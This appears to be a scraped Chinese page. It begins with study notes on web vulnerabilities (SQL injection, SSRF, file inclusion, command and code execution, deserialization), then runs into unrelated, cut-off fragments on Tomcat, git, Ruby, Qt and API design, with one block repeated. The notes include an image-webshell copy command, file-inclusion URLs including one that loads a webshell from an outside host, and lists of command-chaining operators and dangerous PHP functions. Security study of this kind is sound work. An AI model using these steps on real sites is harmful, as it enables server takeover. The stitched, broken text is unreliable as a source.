原理:网站对用户输入的数据没有经过严格的过滤导致带入到数据库中执行造成数据库信息泄露
注入类型:
按注入点类型: 数字型、字符型、搜索型;
按数据库类型: Access、MsSQL、MySQL、Oracle、DB2等;
按提交方式: GET、POST、Cookie、HTTP头、XFF;
按执行效果分:布尔盲注、时间盲注、报错注入、联合注入、堆叠查询注入;
数据库信息泄露/GetShell(Webshell)【SQLI-Labs】

原理:由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

高危函数
1.curl_exec():执行给定的curl会话…这个函数应该在初始化一个curl会话并且全部的选向都被设置后调用;
2.file_get_contents():函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法;
3.fsockopen():打开一个网络连接或套接字连接;
查看本地敏感文件/刺探内网存活主机服务信息 【ssrf-Labs】
XSS和CSRF的相同点,它们都是利用浏览器发送数据包,而SSRF是让服务器偷偷发送数据包
CSRF和XSS都会利用到Cookie,但CSRF是利用它让浏览器偷偷发送数据包,而XSS是直接窃取Cookie。
站点程序将包含的文件设置成变量并未对用户恶意包含的文件进行严格的过滤导致被包含执行文件中的代码

常见函数:
include():代码执行到include时才将文件包含进来,发生错误时只给警告,继续向下执行;
include_once():功能和include相同,区别在于当重复调用同一文件时,程序只调用一次;
require():
与include的区别在于require执行如果发生错误,函数会输出错误信息并终止脚本的运行;
使用require()函数包含文件时,只要程序一执行立即调用文件,而include只有程序执行到该函数时才调用;
require_once():功能与require相同,区别在于当重复调用同一文件时,程序只调用一次;
include() include_once() 加载不存在的文件 不会停止运行 只引入一次
require() require_once() 加载不存在的文件会停止运行
利用方法:
需要引入上传的文件到网站目录或是服务器内部的文件,而且是权限是可读,才能引入进来,或远程包含进来,但是需要条件;
文件包含–> 获取本地非自身脚本语言文件信息 / (网站权限)(网站数据)(服务器的权限)
本地文件包含–>上传图片马(Copy 1.jpg/b+1.php/a 2.jpg)至网站–>index.php?include=/uploads/2.jpg
远程文件包含–>上传图片马至黑客VPS开启HTTP服务–>index?phpinclude=http://laosec.cn:8080/2.jpg
web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。
—般配合服务器的文件上传功能使用,以获取服务器的权限。

IIS 5/6–> Windows server 2000&Windows server 2003 R2
Apache 1.x 2.x
Nginx
对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。
应用有时需要调用一些执行系统命令的函数,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
相关函数
system(args) (有回显)
passthru(args)(有回显)
exec(args) (回显最后一行)
shell_exec(args) (无回显-必须输出)
popen() (返回的是文件指针而非命令执行结果)
反引号:`( 反引号里面的代码也会被当作OS命令来执行 )
命令链接符
;(分号),| (管道符号 ),&(后台任务符号),&&(逻辑与),||(逻辑或),`(反引号),$(command) 命令执行
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞
函数
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()/call_user_fuc_array()
array_filter()
usort()、uasort()
文件操作函数 file_put_contents() 、fputs()
序列化和反序列化介绍
serialize()将一个对象转换成一个字符串;
unserialize()将字符串还原为一个对象;
反序列化漏洞就是因为在反序列化转换的过程中,触发代码执行,从而造成漏洞
魔法函数:
_construct() 当一个对象创建时被调用( 构造函数,当对象创建(new)时会自动调用
unserialize()反序列化时是不会自动调用的
_destruct() 当一个对象销毁前被调用 ;
_sleep()在对象被序列化前被调用 ( 用于提交未提交的数据,或类似的清理操作);
_wakeup将在反序列化之后立即被调用
_toString当一个对象被当做字符串使用时被调用
_get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
_invoke()调用函数的方式调用一个对象时的回应方法
_call 和 _callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行
1.短信轰炸2.水平越权3.垂直越权4.支付漏洞5.身份验证缺失
由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录(配合…/等目录跳转符)等
可以GetShell有
SQL注入
文件包含
文件解析
文件上传
命令执行
代码执行
反序列化
未授权访问
,Dubb
1.短信轰炸2.水平越权3.垂直越权4.支付漏洞5.身份验证缺失
由于web中间件目录访问相关的配置错误造成的,该漏洞会泄露web应用程序的敏感路径、敏感的文件信息、网站的编辑器路径或测试接口、系统敏感目录(配合…/等目录跳转符)等
可以GetShell有
SQL注入
文件包含
文件解析
文件上传
命令执行
代码执行
反序列化
未授权访问
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
文章目录git常用命令(简介,详细参数往下看)Git提交代码步骤gitpullgitstatusgitaddgitcommitgitpushgit代码冲突合并问题方法一:放弃本地代码方法二:合并代码常用命令以及详细参数gitadd将文件添加到仓库:gitdiff比较文件异同gitlog查看历史记录gitreset代码回滚版本库相关操作远程仓库相关操作分支相关操作创建分支查看分支:gitbranch合并分支:gitmerge删除分支:gitbranch-ddev查看分支合并图:gitlog–graph–pretty=oneline–abbrev-commit撤消某次提交git用户名密码相关配置g
我正在构建一个应用程序,想知道是否将未使用的对象设置为nil是生产级编码中的常见做法。我知道这只是垃圾收集器的提示,并不总是处理对象。 最佳答案 根据这个thread如果您使用完一个成员对象,将其设置为nil将引发被引用对象被垃圾回收。如果它是局部变量,方法exit将做同样的事情。也就是说,如果您要求将成员显式设置为nil,我会质疑您的设计。 关于ruby-将对象设置为nil是否很常见?,我们在StackOverflow上找到一个类似的问题: https://
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
我最近与一位同事讨论了以下Ruby语法:value=ifa==0"foo"elsifa>42"bar"else"fizz"end我个人并没有看到太多这种逻辑,但我的同事指出,这实际上是一种相当普遍的Rubyism。我试着用谷歌搜索这个主题,但没有找到任何文章、页面或SO问题来讨论它,这让我相信这可能是一种非常实际的技术。然而,另一位同事发现语法令人困惑,而是将上面的逻辑写成这样:ifa==0value="foo"elsifa>42value="bar"elsevalue="fizz"end缺点是value=的重复声明和隐式elsenil的丢失,如果我们想使用它的话。这也感觉它与Ruby
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
安全产品安全网关类防火墙Firewall防火墙防火墙主要用于边界安全防护的权限控制和安全域的划分。防火墙•信息安全的防护系统,依照特定的规则,允许或是限制传输的数据通过。防火墙是一个由软件和硬件设备组合而成,在内外网之间、专网与公网之间的界面上构成的保护屏障。下一代防火墙•下一代防火墙,NextGenerationFirewall,简称NGFirewall,是一款可以全面应对应用层威胁的高性能防火墙,提供网络层应用层一体化安全防护。生产厂家•联想网御、CheckPoint、深信服、网康、天融信、华为、H3C等防火墙部署部署于内、外网编辑额,用于权限访问控制和安全域划分。UTM统一威胁管理(Un
目录一.大致如下常见问题:(1)找不到程序所依赖的Qt库version`Qt_5'notfound(requiredby(2)CouldnotLoadtheQtplatformplugin"xcb"in""eventhoughitwasfound(3)打包到在不同的linux系统下,或者打包到高版本的相同系统下,运行程序时,直接提示段错误即segmentationfault,或者Illegalinstruction(coredumped)非法指令(4)ldd应用程序或者库,查看运行所依赖的库时,直接报段错误二.问题逐个分析,得出解决方法:(1)找不到程序所依赖的Qt库version`Qt_5'
Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。11年前关闭。我是一位精通HTML
我目前正在为一个新网站设计版本化的API。我了解如何为路由命名空间,但我一直坚持在模型中实现版本化方法的最佳方式。下面的代码示例使用的是rails框架,但是事情的原理在大多数web框架之间应该是一致的。目前的路线看起来像这样:MyApp::Application.routes.drawdonamespace:apidonamespace:v1doresources:products,:only=>[:index,:show]endendend和Controller:classApi::V1::ProductsController很明显,我们只是在此处公开Product上可用的属性,如果